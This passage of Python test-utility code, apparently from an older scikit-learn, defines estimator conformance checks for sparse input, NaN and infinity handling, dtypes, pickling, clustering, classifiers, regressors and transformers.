    X = rng.randn(10, 5)
    y = np.ones(10) * np.inf
    y = multioutput_estimator_convert_y_2d(name, y)

    errmsg = "Input contains NaN, infinity or a value too large for " \
             "dtype('float64')."
    try:
        Estimator().fit(X, y)
    except ValueError as e:
        if str(e) != errmsg:
            raise ValueError("Estimator {0} raised warning as expected, but "
                             "does not match expected error message"
                             .format(name))
    else:
        raise ValueError("Estimator {0} should have raised error on fitting "
                         "array y with NaN value.".format(name))


def _yield_regressor_checks(name, Regressor):
    # TODO: test with intercept
    # TODO: test with multiple responses
    # basic testing
    yield check_regressors_train
    yield check_regressor_data_not_an_array
    yield check_estimators_partial_fit_n_features
    yield check_regressors_no_decision_function
    yield check_supervised_y_2d
    yield check_supervised_y_no_nan
    if name != 'CCA':
        # check that the regressor handles int input
        yield check_regressors_int
    if name != "GaussianProcessRegressor":
        # Test if NotFittedError is raised
        yield check_estimators_unfitted


def _yield_transformer_checks(name, Transformer):
    # All transformers should either deal with sparse data or raise an
    # exception with type TypeError and an intelligible error message
    if name not in ['AdditiveChi2Sampler', 'Binarizer', 'Normalizer',
                    'PLSCanonical', 'PLSRegression', 'CCA', 'PLSSVD']:
        yield check_transformer_data_not_an_array
    # these don't actually fit the data, so don't raise errors
    if name not in ['AdditiveChi2Sampler', 'Binarizer',
                    'FunctionTransformer', 'Normalizer']:
        # basic tests
        yield check_transformer_general
        yield check_transformers_unfitted


def _yield_clustering_checks(name, Clusterer):
    yield check_clusterer_compute_labels_predict
    if name not in ('WardAgglomeration', "FeatureAgglomeration"):
        # this is clustering on the features
        # let's not test that here.
        yield check_clustering
        yield check_estimators_partial_fit_n_features


def _yield_all_checks(name, Estimator):
    for check in _yield_non_meta_checks(name, Estimator):
        yield check
    if issubclass(Estimator, ClassifierMixin):
        for check in _yield_classifier_checks(name, Estimator):
            yield check
    if issubclass(Estimator, RegressorMixin):
        for check in _yield_regressor_checks(name, Estimator):
            yield check
    if issubclass(Estimator, TransformerMixin):
        if name not in DEPRECATED_TRANSFORM:
            for check in _yield_transformer_checks(name, Estimator):
                yield check
    if issubclass(Estimator, ClusterMixin):
        for check in _yield_clustering_checks(name, Estimator):
            yield check
    yield check_fit2d_predict1d
    yield check_fit2d_1sample
    yield check_fit2d_1feature
    yield check_fit1d_1feature
    yield check_fit1d_1sample


def check_estimator(Estimator):
    """Check if estimator adheres to sklearn conventions.

    This estimator will run an extensive test-suite for input validation,
    shapes, etc.
    Additional tests for classifiers, regressors, clustering or transformers
    will be run if the Estimator class inherits from the corresponding mixin
    from sklearn.base.

    Parameters
    ----------
    Estimator : class
        Class to check. Estimator is a class object (not an instance).

    """
    name = Estimator.__name__
    check_parameters_default_constructible(name, Estimator)
    for check in _yield_all_checks(name, Estimator):
        check(name, Estimator)


def _boston_subset(n_samples=200):
    global BOSTON
    if BOSTON is None:
        boston = load_boston()
        X, y = boston.data, boston.target
        X, y = shuffle(X, y, random_state=0)
        X, y = X[:n_samples], y[:n_samples]
        X = StandardScaler().fit_transform(X)
        BOSTON = X, y
    return BOSTON


def set_testing_parameters(estimator):
    # set parameters to speed up some estimators and
    # avoid deprecated behaviour
    params = estimator.get_params()
    if ("n_iter" in params
            and estimator.__class__.__name__ != "TSNE"):
        estimator.set_params(n_iter=5)
    if "max_iter" in params:
        warnings.simplefilter("ignore", ConvergenceWarning)
        if estimator.max_iter is not None:
            estimator.set_params(max_iter=min(5, estimator.max_iter))
        # LinearSVR
        if estimator.__class__.__name__ == 'LinearSVR':
            estimator.set_params(max_iter=20)
        # NMF
        if estimator.__class__.__name__ == 'NMF':
            estimator.set_params(max_iter=100)
        # MLP
        if estimator.__class__.__name__ in ['MLPClassifier', 'MLPRegressor']:
            estimator.set_params(max_iter=100)
    if "n_resampling" in params:
        # randomized lasso
        estimator.set_params(n_resampling=5)
    if "n_estimators" in params:
        # especially gradient boosting with default 100
        estimator.set_params(n_estimators=min(5, estimator.n_estimators))
    if "max_trials" in params:
        # RANSAC
        estimator.set_params(max_trials=10)
    if "n_init" in params:
        # K-Means
        estimator.set_params(n_init=2)
    if "decision_function_shape" in params:
        # SVC
        estimator.set_params(decision_function_shape='ovo')

    if estimator.__class__.__name__ == "SelectFdr":
        # be tolerant of noisy datasets (not actually speed)
        estimator.set_params(alpha=.5)

    if estimator.__class__.__name__ == "TheilSenRegressor":
        estimator.max_subpopulation = 100

    if isinstance(estimator, BaseRandomProjection):
        # Due to the jl lemma and often very few samples, the number
        # of components of the random matrix projection will be probably
        # greater than the number of features.
        # So we impose a smaller number (avoid "auto" mode)
        estimator.set_params(n_components=1)

    if isinstance(estimator, SelectKBest):
        # SelectKBest has a default of k=10
        # which is more feature than we have in most case.
        estimator.set_params(k=1)

    if isinstance(estimator, NMF):
        if not isinstance(estimator, ProjectedGradientNMF):
            estimator.set_params(solver='cd')


class NotAnArray(object):
    " An object that is convertable to an array"

    def __init__(self, data):
        self.data = data

    def __array__(self, dtype=None):
        return self.data


def _is_32bit():
    """Detect if process is 32bit Python."""
    return struct.calcsize('P') * 8 == 32


def check_estimator_sparse_data(name, Estimator):
    rng = np.random.RandomState(0)
    X = rng.rand(40, 10)
    X[X < .8] = 0
    X_csr = sparse.csr_matrix(X)
    y = (4 * rng.rand(40)).astype(np.int)
    for sparse_format in ['csr', 'csc', 'dok', 'lil', 'coo', 'dia', 'bsr']:
        X = X_csr.asformat(sparse_format)
        # catch deprecation warnings
        with warnings.catch_warnings():
            if name in ['Scaler', 'StandardScaler']:
                estimator = Estimator(with_mean=False)
            else:
                estimator = Estimator()
        set_testing_parameters(estimator)
        # fit and predict
        try:
            estimator.fit(X, y)
            if hasattr(estimator, "predict"):
                pred = estimator.predict(X)
                assert_equal(pred.shape, (X.shape[0],))
            if hasattr(estimator, 'predict_proba'):
                probs = estimator.predict_proba(X)
                assert_equal(probs.shape, (X.shape[0], 4))
        except TypeError as e:
            if 'sparse' not in repr(e):
                print("Estimator %s doesn't seem to fail gracefully on "
                      "sparse data: error message state explicitly that "
                      "sparse input is not supported if this is not the case."
                      % name)
                raise
        except Exception:
            print("Estimator %s doesn't seem to fail gracefully on "
                  "sparse data: it should raise a TypeError if sparse input "
                  "is explicitly not supported." % name)
            raise


def check_dtype_object(name, Estimator):
    # check that estimators treat dtype object as numeric if possible
    rng = np.random.RandomState(0)
    X = rng.rand(40, 10).astype(object)
    y = (X[:, 0] * 4).astype(np.int)
    y = multioutput_estimator_convert_y_2d(name, y)
    with warnings.catch_warnings():
        estimator = Estimator()
    set_testing_parameters(estimator)

    estimator.fit(X, y)
    if hasattr(estimator, "predict"):
        estimator.predict(X)

    if (hasattr(estimator, "transform") and
            name not in DEPRECATED_TRANSFORM):
        estimator.transform(X)

    try:
        estimator.fit(X, y.astype(object))
    except Exception as e:
        if "Unknown label type" not in str(e):
            raise

    X[0, 0] = {'foo': 'bar'}
    msg = "argument must be a string or a number"
    assert_raises_regex(TypeError, msg, estimator.fit, X, y)


@ignore_warnings
def check_fit2d_predict1d(name, Estimator):
    # check by fitting a 2d array and prediting with a 1d array
    rnd = np.random.RandomState(0)
    X = 3 * rnd.uniform(size=(20, 3))
    y = X[:, 0].astype(np.int)
    y = multioutput_estimator_convert_y_2d(name, y)
    estimator = Estimator()
    set_testing_parameters(estimator)

    if hasattr(estimator, "n_components"):
        estimator.n_components = 1
    if hasattr(estimator, "n_clusters"):
        estimator.n_clusters = 1

    set_random_state(estimator, 1)
    estimator.fit(X, y)

    for method in ["predict", "transform", "decision_function",
                   "predict_proba"]:
        if hasattr(estimator, method):
            try:
                assert_warns(DeprecationWarning,
                             getattr(estimator, method), X[0])
            except ValueError:
                pass


@ignore_warnings
def check_fit2d_1sample(name, Estimator):
    # check by fitting a 2d array and prediting with a 1d array
    rnd = np.random.RandomState(0)
    X = 3 * rnd.uniform(size=(1, 10))
    y = X[:, 0].astype(np.int)
    y = multioutput_estimator_convert_y_2d(name, y)
    estimator = Estimator()
    set_testing_parameters(estimator)

    if hasattr(estimator, "n_components"):
        estimator.n_components = 1
    if hasattr(estimator, "n_clusters"):
        estimator.n_clusters = 1

    set_random_state(estimator, 1)
    try:
        estimator.fit(X, y)
    except ValueError:
        pass


@ignore_warnings
def check_fit2d_1feature(name, Estimator):
    # check by fitting a 2d array and prediting with a 1d array
    rnd = np.random.RandomState(0)
    X = 3 * rnd.uniform(size=(10, 1))
    y = X[:, 0].astype(np.int)
    y = multioutput_estimator_convert_y_2d(name, y)
    estimator = Estimator()
    set_testing_parameters(estimator)

    if hasattr(estimator, "n_components"):
        estimator.n_components = 1
    if hasattr(estimator, "n_clusters"):
        estimator.n_clusters = 1

    set_random_state(estimator, 1)
    try:
        estimator.fit(X, y)
    except ValueError:
        pass


@ignore_warnings
def check_fit1d_1feature(name, Estimator):
    # check fitting 1d array with 1 feature
    rnd = np.random.RandomState(0)
    X = 3 * rnd.uniform(size=(20))
    y = X.astype(np.int)
    y = multioutput_estimator_convert_y_2d(name, y)
    estimator = Estimator()
    set_testing_parameters(estimator)

    if hasattr(estimator, "n_components"):
        estimator.n_components = 1
    if hasattr(estimator, "n_clusters"):
        estimator.n_clusters = 1

    set_random_state(estimator, 1)

    try:
        estimator.fit(X, y)
    except ValueError:
        pass


@ignore_warnings
def check_fit1d_1sample(name, Estimator):
    # check fitting 1d array with 1 feature
    rnd = np.random.RandomState(0)
    X = 3 * rnd.uniform(size=(20))
    y = np.array([1])
    y = multioutput_estimator_convert_y_2d(name, y)
    estimator = Estimator()
    set_testing_parameters(estimator)

    if hasattr(estimator, "n_components"):
        estimator.n_components = 1
    if hasattr(estimator, "n_clusters"):
        estimator.n_clusters = 1

    set_random_state(estimator, 1)

    try:
        estimator.fit(X, y)
    except ValueError:
        pass


def check_transformer_general(name, Transformer):
    X, y = make_blobs(n_samples=30, centers=[[0, 0, 0], [1, 1, 1]],
                      random_state=0, n_features=2, cluster_std=0.1)
    X = StandardScaler().fit_transform(X)
    X -= X.min()
    _check_transformer(name, Transformer, X, y)
    _check_transformer(name, Transformer, X.tolist(), y.tolist())


def check_transformer_data_not_an_array(name, Transformer):
    X, y = make_blobs(n_samples=30, centers=[[0, 0, 0], [1, 1, 1]],
                      random_state=0, n_features=2, cluster_std=0.1)
    X = StandardScaler().fit_transform(X)
    # We need to make sure that we have non negative data, for things
    # like NMF
    X -= X.min() - .1
    this_X = NotAnArray(X)
    this_y = NotAnArray(np.asarray(y))
    _check_transformer(name, Transformer, this_X, this_y)


def check_transformers_unfitted(name, Transformer):
    X, y = _boston_subset()

    with warnings.catch_warnings(record=True):
        transformer = Transformer()

    assert_raises((AttributeError, ValueError), transformer.transform, X)


def _check_transformer(name, Transformer, X, y):
    if name in ('CCA', 'LocallyLinearEmbedding', 'KernelPCA') and _is_32bit():
        # Those transformers yield non-deterministic output when executed on
        # a 32bit Python. The same transformers are stable on 64bit Python.
        # FIXME: try to isolate a minimalistic reproduction case only depending
        # on numpy & scipy and/or maybe generate a test dataset that does not
        # cause such unstable behaviors.
        msg = name + ' is non deterministic on 32bit Python'
        raise SkipTest(msg)
    n_samples, n_features = np.asarray(X).shape
    # catch deprecation warnings
    with warnings.catch_warnings(record=True):
        transformer = Transformer()
    set_random_state(transformer)
    set_testing_parameters(transformer)

    # fit

    if name in CROSS_DECOMPOSITION:
        y_ = np.c_[y, y]
        y_[::2, 1] *= 2
    else:
        y_ = y

    transformer.fit(X, y_)
    # fit_transform method should work on non fitted estimator
    transformer_clone = clone(transformer)
    X_pred = transformer_clone.fit_transform(X, y=y_)

    if isinstance(X_pred, tuple):
        for x_pred in X_pred:
            assert_equal(x_pred.shape[0], n_samples)
    else:
        # check for consistent n_samples
        assert_equal(X_pred.shape[0], n_samples)

    if hasattr(transformer, 'transform'):
        if name in CROSS_DECOMPOSITION:
            X_pred2 = transformer.transform(X, y_)
            X_pred3 = transformer.fit_transform(X, y=y_)
        else:
            X_pred2 = transformer.transform(X)
            X_pred3 = transformer.fit_transform(X, y=y_)
        if isinstance(X_pred, tuple) and isinstance(X_pred2, tuple):
            for x_pred, x_pred2, x_pred3 in zip(X_pred, X_pred2, X_pred3):
                assert_array_almost_equal(
                    x_pred, x_pred2, 2,
                    "fit_transform and transform outcomes not consistent in %s"
                    % Transformer)
                assert_array_almost_equal(
                    x_pred, x_pred3, 2,
                    "consecutive fit_transform outcomes not consistent in %s"
                    % Transformer)
        else:
            assert_array_almost_equal(
                X_pred, X_pred2, 2,
                "fit_transform and transform outcomes not consistent in %s"
                % Transformer)
            assert_array_almost_equal(
                X_pred, X_pred3, 2,
                "consecutive fit_transform outcomes not consistent in %s"
                % Transformer)
            assert_equal(len(X_pred2), n_samples)
            assert_equal(len(X_pred3), n_samples)

        # raises error on malformed input for transform
        if hasattr(X, 'T'):
            # If it's not an array, it does not have a 'T' property
            assert_raises(ValueError, transformer.transform, X.T)


@ignore_warnings
def check_pipeline_consistency(name, Estimator):
    if name in ('CCA', 'LocallyLinearEmbedding', 'KernelPCA') and _is_32bit():
        # Those transformers yield non-deterministic output when executed on
        # a 32bit Python. The same transformers are stable on 64bit Python.
        # FIXME: try to isolate a minimalistic reproduction case only depending
        # scipy and/or maybe generate a test dataset that does not
        # cause such unstable behaviors.
        msg = name + ' is non deterministic on 32bit Python'
        raise SkipTest(msg)

    # check that make_pipeline(est) gives same score as est
    X, y = make_blobs(n_samples=30, centers=[[0, 0, 0], [1, 1, 1]],
                      random_state=0, n_features=2, cluster_std=0.1)
    X -= X.min()
    y = multioutput_estimator_convert_y_2d(name, y)
    estimator = Estimator()
    set_testing_parameters(estimator)
    set_random_state(estimator)
    pipeline = make_pipeline(estimator)
    estimator.fit(X, y)
    pipeline.fit(X, y)

    if name in DEPRECATED_TRANSFORM:
        funcs = ["score"]
    else:
        funcs = ["score", "fit_transform"]

    for func_name in funcs:
        func = getattr(estimator, func_name, None)
        if func is not None:
            func_pipeline = getattr(pipeline, func_name)
            result = func(X, y)
            result_pipe = func_pipeline(X, y)
            assert_array_almost_equal(result, result_pipe)


@ignore_warnings
def check_fit_score_takes_y(name, Estimator):
    # check that all estimators accept an optional y
    # in fit and score so they can be used in pipelines
    rnd = np.random.RandomState(0)
    X = rnd.uniform(size=(10, 3))
    y = np.arange(10) % 3
    y = multioutput_estimator_convert_y_2d(name, y)
    estimator = Estimator()
    set_testing_parameters(estimator)
    set_random_state(estimator)

    if name in DEPRECATED_TRANSFORM:
        funcs = ["fit", "score", "partial_fit", "fit_predict"]
    else:
        funcs = [
            "fit", "score", "partial_fit", "fit_predict", "fit_transform"]
    for func_name in funcs:
        func = getattr(estimator, func_name, None)
        if func is not None:
            func(X, y)
            args = [p.name for p in signature(func).parameters.values()]
            assert_true(args[1] in ["y", "Y"],
                        "Expected y or Y as second argument for method "
                        "%s of %s. Got arguments: %r."
                        % (func_name, Estimator.__name__, args))


@ignore_warnings
def check_estimators_dtypes(name, Estimator):
    rnd = np.random.RandomState(0)
    X_train_32 = 3 * rnd.uniform(size=(20, 5)).astype(np.float32)
    X_train_64 = X_train_32.astype(np.float64)
    X_train_int_64 = X_train_32.astype(np.int64)
    X_train_int_32 = X_train_32.astype(np.int32)
    y = X_train_int_64[:, 0]
    y = multioutput_estimator_convert_y_2d(name, y)

    if name in DEPRECATED_TRANSFORM:
        methods = ["predict", "decision_function", "predict_proba"]
    else:
        methods = [
            "predict", "transform", "decision_function", "predict_proba"]

    for X_train in [X_train_32, X_train_64, X_train_int_64, X_train_int_32]:
        with warnings.catch_warnings(record=True):
            estimator = Estimator()
        set_testing_parameters(estimator)
        set_random_state(estimator, 1)
        estimator.fit(X_train, y)

        for method in methods:
            if hasattr(estimator, method):
                getattr(estimator, method)(X_train)


def check_estimators_empty_data_messages(name, Estimator):
    e = Estimator()
    set_testing_parameters(e)
    set_random_state(e, 1)

    X_zero_samples = np.empty(0).reshape(0, 3)
    # The precise message can change depending on whether X or y is
    # validated first. Let us test the type of exception only:
    assert_raises(ValueError, e.fit, X_zero_samples, [])

    X_zero_features = np.empty(0).reshape(3, 0)
    # the following y should be accepted by both classifiers and regressors
    # and ignored by unsupervised models
    y = multioutput_estimator_convert_y_2d(name, np.array([1, 0, 1]))
    msg = ("0 feature\(s\) \(shape=\(3, 0\)\) while a minimum of \d* "
           "is required.")
    assert_raises_regex(ValueError, msg, e.fit, X_zero_features, y)


def check_estimators_nan_inf(name, Estimator):
    # Checks that Estimator X's do not contain NaN or inf.
    rnd = np.random.RandomState(0)
    X_train_finite = rnd.uniform(size=(10, 3))
    X_train_nan = rnd.uniform(size=(10, 3))
    X_train_nan[0, 0] = np.nan
    X_train_inf = rnd.uniform(size=(10, 3))
    X_train_inf[0, 0] = np.inf
    y = np.ones(10)
    y[:5] = 0
    y = multioutput_estimator_convert_y_2d(name, y)
    error_string_fit = "Estimator doesn't check for NaN and inf in fit."
    error_string_predict = ("Estimator doesn't check for NaN and inf in"
                            " predict.")
    error_string_transform = ("Estimator doesn't check for NaN and inf in"
                              " transform.")
    for X_train in [X_train_nan, X_train_inf]:
        # catch deprecation warnings
        with warnings.catch_warnings(record=True):
            estimator = Estimator()
            set_testing_parameters(estimator)
            set_random_state(estimator, 1)
            # try to fit
            try:
                estimator.fit(X_train, y)
            except ValueError as e:
                if 'inf' not in repr(e) and 'NaN' not in repr(e):
                    print(error_string_fit, Estimator, e)
                    traceback.print_exc(file=sys.stdout)
                    raise e
            except Exception as exc:
                print(error_string_fit, Estimator, exc)
                traceback.print_exc(file=sys.stdout)
                raise exc
            else:
                raise AssertionError(error_string_fit, Estimator)
            # actually fit
            estimator.fit(X_train_finite, y)

            # predict
            if hasattr(estimator, "predict"):
                try:
                    estimator.predict(X_train)
                except ValueError as e:
                    if 'inf' not in repr(e) and 'NaN' not in repr(e):
                        print(error_string_predict, Estimator, e)
                        traceback.print_exc(file=sys.stdout)
                        raise e
                except Exception as exc:
                    print(error_string_predict, Estimator, exc)
                    traceback.print_exc(file=sys.stdout)
                else:
                    raise AssertionError(error_string_predict, Estimator)

            # transform
            if (hasattr(estimator, "transform") and
                    name not in DEPRECATED_TRANSFORM):
                try:
                    estimator.transform(X_train)
                except ValueError as e:
                    if 'inf' not in repr(e) and 'NaN' not in repr(e):
                        print(error_string_transform, Estimator, e)
                        traceback.print_exc(file=sys.stdout)
                        raise e
                except Exception as exc:
                    print(error_string_transform, Estimator, exc)
                    traceback.print_exc(file=sys.stdout)
                else:
                    raise AssertionError(error_string_transform, Estimator)


@ignore_warnings
def check_estimators_pickle(name, Estimator):
    """Test that we can pickle all estimators"""
    if name in DEPRECATED_TRANSFORM:
        check_methods = ["predict", "decision_function", "predict_proba"]
    else:
        check_methods = ["predict", "transform", "decision_function",
                         "predict_proba"]

    X, y = make_blobs(n_samples=30, centers=[[0, 0, 0], [1, 1, 1]],
                      random_state=0, n_features=2, cluster_std=0.1)

    # some estimators can't do features less than 0
    X -= X.min()

    # some estimators only take multioutputs
    y = multioutput_estimator_convert_y_2d(name, y)

    # catch deprecation warnings
    with warnings.catch_warnings(record=True):
        estimator = Estimator()

    set_random_state(estimator)
    set_testing_parameters(estimator)
    estimator.fit(X, y)

    result = dict()
    for method in check_methods:
        if hasattr(estimator, method):
            result[method] = getattr(estimator, method)(X)

    # pickle and unpickle!
    pickled_estimator = pickle.dumps(estimator)
    unpickled_estimator = pickle.loads(pickled_estimator)

    for method in result:
        unpickled_result = getattr(unpickled_estimator, method)(X)
        assert_array_almost_equal(result[method], unpickled_result)


def check_estimators_partial_fit_n_features(name, Alg):
    # check if number of features changes between calls to partial_fit.
    if not hasattr(Alg, 'partial_fit'):
        return
    X, y = make_blobs(n_samples=50, random_state=1)
    X -= X.min()
    with warnings.catch_warnings(record=True):
        alg = Alg()
    if not hasattr(alg, 'partial_fit'):
        # check again as for mlp this depends on algorithm
        return

    set_testing_parameters(alg)
    try:
        if isinstance(alg, ClassifierMixin):
            classes = np.unique(y)
            alg.partial_fit(X, y, classes=classes)
        else:
            alg.partial_fit(X, y)
    except NotImplementedError:
        return

    assert_raises(ValueError, alg.partial_fit, X[:, :-1], y)


def check_clustering(name, Alg):
    X, y = make_blobs(n_samples=50, random_state=1)
    X, y = shuffle(X, y, random_state=7)
    X = StandardScaler().fit_transform(X)
    n_samples, n_features = X.shape
    # catch deprecation and neighbors warnings
    with warnings.catch_warnings(record=True):
        alg = Alg()
    set_testing_parameters(alg)
    if hasattr(alg, "n_clusters"):
        alg.set_params(n_clusters=3)
    set_random_state(alg)
    if name == 'AffinityPropagation':
        alg.set_params(preference=-100)
        alg.set_params(max_iter=100)

    # fit
    alg.fit(X)
    # with lists
    alg.fit(X.tolist())

    assert_equal(alg.labels_.shape, (n_samples,))
    pred = alg.labels_
    assert_greater(adjusted_rand_score(pred, y), 0.4)
    # fit another time with ``fit_predict`` and compare results
    if name is 'SpectralClustering':
        # there is no way to make Spectral clustering deterministic :(
        return
    set_random_state(alg)
    with warnings.catch_warnings(record=True):
        pred2 = alg.fit_predict(X)
    assert_array_equal(pred, pred2)


def check_clusterer_compute_labels_predict(name, Clusterer):
    """Check that predict is invariant of compute_labels"""
    X, y = make_blobs(n_samples=20, random_state=0)
    clusterer = Clusterer()

    if hasattr(clusterer, "compute_labels"):
        # MiniBatchKMeans
        if hasattr(clusterer, "random_state"):
            clusterer.set_params(random_state=0)

        X_pred1 = clusterer.fit(X).predict(X)
        clusterer.set_params(compute_labels=False)
        X_pred2 = clusterer.fit(X).predict(X)
        assert_array_equal(X_pred1, X_pred2)


def check_classifiers_one_label(name, Classifier):
    error_string_fit = "Classifier can't train when only one class is present."
    error_string_predict = ("Classifier can't predict when only one class is "
                            "present.")
    rnd = np.random.RandomState(0)
    X_train = rnd.uniform(size=(10, 3))
    X_test = rnd.uniform(size=(10, 3))
    y = np.ones(10)
    # catch deprecation warnings
    with warnings.catch_warnings(record=True):
        classifier = Classifier()
        set_testing_parameters(classifier)
        # try to fit
        try:
            classifier.fit(X_train, y)
        except ValueError as e:
            if 'class' not in repr(e):
                print(error_string_fit, Classifier, e)
                traceback.print_exc(file=sys.stdout)
                raise e
            else:
                return
        except Exception as exc:
            print(error_string_fit, Classifier, exc)
            traceback.print_exc(file=sys.stdout)
            raise exc
        # predict
        try:
            assert_array_equal(classifier.predict(X_test), y)
        except Exception as exc:
            print(error_string_predict, Classifier, exc)
            raise exc


@ignore_warnings  # Warnings are raised by decision function
def check_classifiers_train(name, Classifier):
    X_m, y_m = make_blobs(n_samples=300, random_state=0)
    X_m, y_m = shuffle(X_m, y_m, random_state=7)
    X_m = StandardScaler().fit_transform(X_m)
    # generate binary problem from multi-class one
    y_b = y_m[y_m != 2]
    X_b = X_m[y_m != 2]
    for (X, y) in [(X_m, y_m), (X_b, y_b)]:
        # catch deprecation warnings
        classes = np.unique(y)
        n_classes = len(classes)
        n_samples, n_features = X.shape
        with warnings.catch_warnings(record=True):
            classifier = Classifier()
        if name in ['BernoulliNB', 'MultinomialNB']:
            X -= X.min()
        set_testing_parameters(classifier)
        set_random_state(classifier)
        # raises error on malformed input for fit
        assert_raises(ValueError, classifier.fit, X, y[:-1])

        # fit
        classifier.fit(X, y)
        # with lists
        classifier.fit(X.tolist(), y.tolist())
        assert_true(hasattr(classifier, "classes_"))
        y_pred = classifier.predict(X)
        assert_equal(y_pred.shape, (n_samples,))
        # training set performance
        if name not in ['BernoulliNB', 'MultinomialNB']:
            assert_greater(accuracy_score(y, y_pred), 0.83)

        # raises error on malformed input for predict
        assert_raises(ValueError, classifier.predict, X.T)
        if hasattr(classifier, "decision_function"):
            try:
                # decision_function agrees with predict
                decision = classifier.decision_function(X)
                if n_classes is 2:
                    assert_equal(decision.shape, (n_samples,))
                    dec_pred = (decision.ravel() > 0).astype(np.int)
                    assert_array_equal(dec_pred, y_pred)
                if (n_classes is 3
                        and not isinstance(classifier, BaseLibSVM)):
                    # 1on1 of LibSVM works differently
                    assert_equal(decision.shape, (n_samples, n_classes))
                    assert_array_equal(np.argmax(decision, axis=1), y_pred)

                # raises error on malformed input
                assert_raises(ValueError,
                              classifier.decision_function, X.T)
                # raises error on malformed input for decision_function
                assert_raises(ValueError,
                              classifier.decision_function, X.T)
            except NotImplementedError:
                pass
        if hasattr(classifier, "predict_proba"):
            # predict_proba agrees with predict
            y_prob = classifier.predict_proba(X)
            assert_equal(y_prob.shape, (n_samples, n_classes))
            assert_array_equal(np.argmax(y_prob, axis=1), y_pred)
            # check that probas for all classes sum to one
            assert_array_almost_equal(np.sum(y_prob, axis=1),
                                      np.ones(n_samples))
            # raises error on malformed input
            assert_raises(ValueError, classifier.predict_proba, X.T)
            # raises error on malformed input for predict_proba
            assert_raises(ValueError, classifier.predict_proba, X.T)


def check_estimators_fit_returns_self(name, Estimator):
    """Check if self is returned when calling fit"""
    X, y = make_blobs(random_state=0, n_samples=9, n_features=4)
    y = multioutput_estimator_convert_y_2d(name, y)
    # some want non-negative input
    X -= X.min()

    estimator = Estimator()

    set_testing_parameters(estimator)
    set_random_state(estimator)

    assert_true(estimator.fit(X, y) is estimator)


@ignore_warnings
def check_estimators_unfitted(name, Estimator):
    """Check that predict raises an exception in an unfitted estimator.

    Unfitted estimators should raise either AttributeError or ValueError.
    The specific exception type NotFittedError inherits from both and can
    therefore be adequately raised for that purpose.
    """

    # Common test for Regressors as well as Classifiers
    X, y = _boston_subset()

    with warnings.catch_warnings(record=True):
        est = Estimator()

    msg = "fit"
    if hasattr(est, 'predict'):
        assert_raise_message((AttributeError, ValueError), msg,
                             est.predict, X)

    if hasattr(est, 'decision_function'):
        assert_raise_message((AttributeError, ValueError), msg,
                             est.decision_function, X)

    if hasattr(est, 'predict_proba'):
        assert_raise_message((AttributeError, ValueError), msg,
                             est.predict_proba, X)

    if hasattr(est, 'predict_log_proba'):
        assert_raise_message((AttributeError, ValueError), msg,
                             est.predict_log_proba, X)


def check_supervised_y_2d(name, Estimator):
    if "MultiTask" in name:
        # These only work on 2d, so this test makes no sense
        return
    rnd = np.random.RandomState(0)
    X = rnd.uniform(size=(10, 3))
    y = np.arange(10) % 3
    # catch deprecation warnings
    with warnings.catch_warnings(record=True):
        estimator = Estimator()
    set_testing_parameters(estimator)
    set_random_state(estimator)
    # fit
    estimator.fit(X, y)
    y_pred = estimator.predict(X)

    set_random_state(estimator)
    # Check that when a 2D y is given, a DataConversionWarning is
    # raised
    with warnings.catch_warnings(record=True) as w:
        warnings.simplefilter("always", DataConversionWarning)
        warnings.simplefilter("ignore", RuntimeWarning)
        estimator.fit(X, y[:, np.newaxis])
    y_pred_2d = estimator.predict(X)
    msg = "expected 1 DataConversionWarning, got: %s" % (
        ", ".join([str(w_x) for w_x in w]))
    if name not in MULTI_OUTPUT:
        # check that we warned if we don't support multi-output
        assert_greater(len(w), 0, msg)
        assert_true("DataConversionWarning('A column-vector y"
                    " was passed when a 1d array was expected" in msg)
    assert_array_almost_equal(y_pred.ravel(), y_pred_2d.ravel())


def check_classifiers_classes(name, Classifier):
    X, y = make_blobs(n_samples=30, random_state=0, cluster_std=0.1)
    X, y = shuffle(X, y, random_state=7)
    X = StandardScaler().fit_transform(X)
    # We need to make sure that we have non negative data, for things
    # like NMF
    X -= X.min() - .1
    y_names = np.array(["one", "two", "three"])[y]

    for y_names in [y_names, y_names.astype('O')]:
        if name in ["LabelPropagation", "LabelSpreading"]:
            # TODO some complication with -1 label
            y_ = y
        else:
            y_ = y_names

        classes = np.unique(y_)
        # catch deprecation warnings
        with warnings.catch_warnings(record=True):
            classifier = Classifier()
        if name == 'BernoulliNB':
            classifier.set_params(binarize=X.mean())
        set_testing_parameters(classifier)
        set_random_state(classifier)
        # fit
        classifier.fit(X, y_)

        y_pred = classifier.predict(X)
        # training set performance
        assert_array_equal(np.unique(y_), np.unique(y_pred))
        if np.any(classifier.classes_ != classes):
            print("Unexpected classes_ attribute for %r: "
                  "expected %s, got %s" %
                  (classifier, classes, classifier.classes_))


def check_regressors_int(name, Regressor):
    X, _ = _boston_subset()
    X = X[:50]
    rnd = np.random.RandomState(0)
    y = rnd.randint(3, size=X.shape[0])
    y = multioutput_estimator_convert_y_2d(name, y)
    rnd = np.random.RandomState(0)
    # catch deprecation warnings
    with warnings.catch_warnings(record=True):
        # separate estimators to control random seeds
        regressor_1 = Regressor()
        regressor_2 = Regressor()
    set_testing_parameters(regressor_1)
    set_testing_parameters(regressor_2)
    set_random_state(regressor_1)
    set_random_state(regressor_2)

    if name in CROSS_DECOMPOSITION:
        y_ = np.vstack([y, 2 * y + rnd.randint(2, size=len(y))])
        y_ = y_.T
    else:
        y_ = y

    # fit
    regressor_1.fit(X, y_)
    pred1 = regressor_1.predict(X)
    regressor_2.fit(X, y_.astype(np.float))
    pred2 = regressor_2.predict(X)
    assert_array_almost_equal(pred1, pred2, 2, name)


def check_regressors_train(name, Regressor):
    X, y = _boston_subset()
    y = StandardScaler().fit_transform(y.reshape(-1, 1))  # X is already scaled
    y = y.ravel()
    y = multioutput_estimator_convert_y_2d(name, y)
    rnd = np.random.RandomState(0)
    # catch deprecation warnings
    with warnings.catch_warnings(record=True):
        regressor = Regressor()
    set_testing_parameters(regressor)
    if not hasattr(regressor, 'alphas') and hasattr(regressor, 'alpha'):
        # linear regressors need to set alpha, but not generalized CV ones
        regressor.alpha = 0.01
    if name == 'PassiveAggressiveRegressor':
        regressor.C = 0.01

    # raises error on malformed input for fit
    assert_raises(ValueError, regressor.fit, X, y[:-1])
    # fit
    if name in CROSS_DECOMPOSITION:
        y_ = np.vstack([y, 2 * y + rnd.randint(2, size=len(y))])
        y_ = y_.T
    else:
        y_ = y
    set_random_state(regressor)
    regressor.fit(X, y_)
    regressor.fit(X.tolist(), y_.tolist())
    y_pred = regressor.predict(X)
    assert_equal(y_pred.shape, y_.shape)

